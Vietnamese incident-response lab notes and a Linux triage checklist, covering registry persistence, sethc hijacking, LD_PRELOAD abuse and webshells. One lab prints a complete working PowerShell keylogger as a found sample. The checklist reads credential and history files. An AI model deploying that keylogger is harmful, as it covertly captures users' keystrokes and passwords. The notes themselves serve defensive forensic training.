Image Hijacking với IFEO: Khi người dùng mở sethc.exe được thay thế bằng cmd.exe, thường là nhấn Shift 5 lần, Command Prompt sẽ xuất hiệnquyền hệ thống (SYSTEM)
Lab 12
Một Network Provider đượcthêm vào HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
Có thể nhằm mục tiêu lấy thông tin xác thực của người dùng, tham khảo
Lab 13
Phát hiện chương trình thực thi bất thường "C:\Program Files\PRTG Network Monitor\lsm.exe" trong HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 12/25/2020 11:16 AM
File thực thi được verify tuy nhiên nhưng phát hiện nó load một DLL không verify
Lab 14
Phát hiện Image Path C:\Windows\QcConsol.exe lạ trong các khóa registry nhạy cảm
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\logfile.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try
{
#Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally
{
# open logger file in Notepad
# notepad $Path
}
}
# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger
Lab 20
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run với giá trị là file thực thi không có chữ ký C:\Users\hunter\AppData\Roaming\WPDNSE\svchost.exe
Syscheck ra kết quả là tệp sethc.exe không được ký
Linux checklist
#Rà soát Linux
#Rà soát tiến trình:
ps -eo user,pid,ppid,pcpu,pmem,comm,lstart,etime,args | more # getlog
ps -ef | more
readlink -f /proc/*/exe
#Rà soát kết nối mạng:
netstat -ntlpu | more
netstat -nap | more # getlog
#Rà Preload
echo $LD_PRELOAD
ls -latr /etc/ld.so.preload
#Rà soát autoruns:
ls -latr /etc/cron* #-> schedule
ls -latr /var/spool/cron/crontabs
#-> xem exported lib .so -> check library load lên
ls -latr /home/*/.bashrc
ls -latr /home/*/.bash_profile
ls -latr /home/*/.bash_logout
ls -latr /etc/profile
ls -latr /etc/environment
ls -latr /etc/bashrc
ls -latr /etc/bash.bashrc
ls -latr /etc/bash.bash_logout
ls -latr /etc/init.d/ | more
ls -latr /etc/rc*.d/ | more
ls -latr /etc/ssh/sshrc
ls -latr /etc/xdg/lxsession/Lubuntu/autostart
ls -latr /usr/share/autostart
ls -latr /etc/xdg/xfce4/xinitrc
#Rà soát users:
cat /etc/passwd
cat /etc/sudoers
#Rà soát command history:
cat /var/log/cmdlog.log | more # getlog
cat /home/*/.bash_history | more # getlog
cat /home/*/.sh_history | more
cat /home/*/.vi_history | more
cat /var/log/secure* | grep Accepted |more # getlog
last|more
lastlog
#Rà soát thư mục quan trọng:
ls -latr /tmp | more
ls -latr /var/run | more
#Rà soát tunnel :
iptables -L -vn -t nat
#Kiểm tra server endpoint :
service salt-minion status
#Kiểm tra ConnectWise /etc/init.d/screenconnect
service screenconnect status
#Máy có cài libpcap:
#Có thư mục
ls -latr /usr/include/pcap
#- Có process đang load thư viện libpcap:
find /proc/ -iname "libpcap.so"
#=>> output sẽ có pid của process đang load libpcap.so
#Lưu ý Winnti
stat /lib/libxselinux
stat /lib/libxselinux.so
stat /lib64/libxselinux
stat /lib64/libxselinux.so
ls -latr /etc/ld.so.preload
#Lấy log audit
cat /var/log/audit/audit.log|more # getlog
#Bổ sung trong trường hợp cần rà user root, ...
ls -latr /etc/
ls -latr /usr/sbin
ls -latr /usr/bin
ls -latr /root/.bashrc
ls -latr /root/.profile
ls -latr /root/.bash_profile
ls -latr /root/.bash_logout
cat /root/.bash_history | more
#Phụ lục:
#Copy file :
Scp from to
Example: scp 1.txt user@ip:2.txt
#Lấy full đường dẫn process từ pid:
readlink –f /proc/pid/exe
#Lấy hash 1 file:
md5sum /path
#Nén zip
zip -P password -r filename.zip foldername
#Tạo thư mục sample
mkdir folder
cp -i {Pathfile} {Pathfolder} - đệ qui folder-folder dùng -Ri
mv -i {Pathfile} {Pathfolder} - đệ qui folder-folder dùng -Ri
#Cleanup
rm -rf file/folder
kill PID
#Check Lỗ hổng
# Check opatch
# Các phiên bản chưa cập nhật bản vá (CVE-2018-2879 ): 11.1.2.3.0, 12.2.1.3.0 hoặc thấp hơn
$Oracle_Home/OPatch/opatch lsinventory -detail
# Check primefaces
# version trả về < 5.3.8 nếu là 5.3.* hoặc < 5.2.21 cho các trường hợp khác.
cat /proc/*/maps | grep -e "primefaces-5.*.jar"
# Check RMI
# Check cac ung dung java su dung mmserver -> co nguy co mac lo hong rmi
ps -ef|grep java|grep mmserver
# Check Solr
# Kiểm tra version trả về bị lỗi nếu nằm trong khoảng:
# o 5.5.0 đến 5.5.4
# o 6.0.0 đến 6.6.1
# o 7.0.0 đến 7.0.1
cat /proc/*/maps | grep -e "solr-core-.*.jar"
# Spring
# Kiem tra tien trinh java co su dung Spring Boot -> xac dinh version
# Spring Boot Trước 1.3.1
# Trước 1.2.8 1.3.1 trở đi
# 1.2.8 trở đi
# 2 Spring Oauth Từ 2.0.0 tới 2.0.9
# Từ 1.0.0 tới 1.0.5 2.0.10 trở đi
cat /proc/*/maps | grep spring-boot
# stuts
# Các ứng dụng có sử dụng bản cũ hơn hai phiên bản 2.5.17 và 2.3.35 có nguy cơ mắc lỗ hổng
cat /proc/*/maps|grep "struts2-core" | grep -v -E "2.5.17|2.3.35"
Lab 21
Khi thực thi lệnh luôn để lại alert, khả năng LD_PRELOAD đã bị lạm dụng
Không thể cat, nhưng dùng vi có thể xem được nội dung
Webshell cho phép kẻ tấn công kiểm soát hệ thống từ xa bằng cách thực hiện các lệnh hệ thống, tải lên tệp, duyệt thư mục, và thực hiện các truy vấn SQL
Lab 22
Dấu hiệu reverse shell qua Netcat
Thor Lite phát hiện webshell tại /var/lib/tomcat/webapps/muabannhadat/web/js/app.jsp
Webshell này hoạt động như một proxy ngầm cho phép kẻ tấn công sử dụng máy chủ bị xâm nhập như một trạm trung gian để kết nối đến các hệ thống khác trong mạng nội bộ mà từ bên ngoài không thể truy cập trực tiếp
Lab 23
Khi SSH vào Server, xuất hiện hiển thị lạ
Khi ra soát, phát hiện /etc/bashrc được sửa đổi gần đây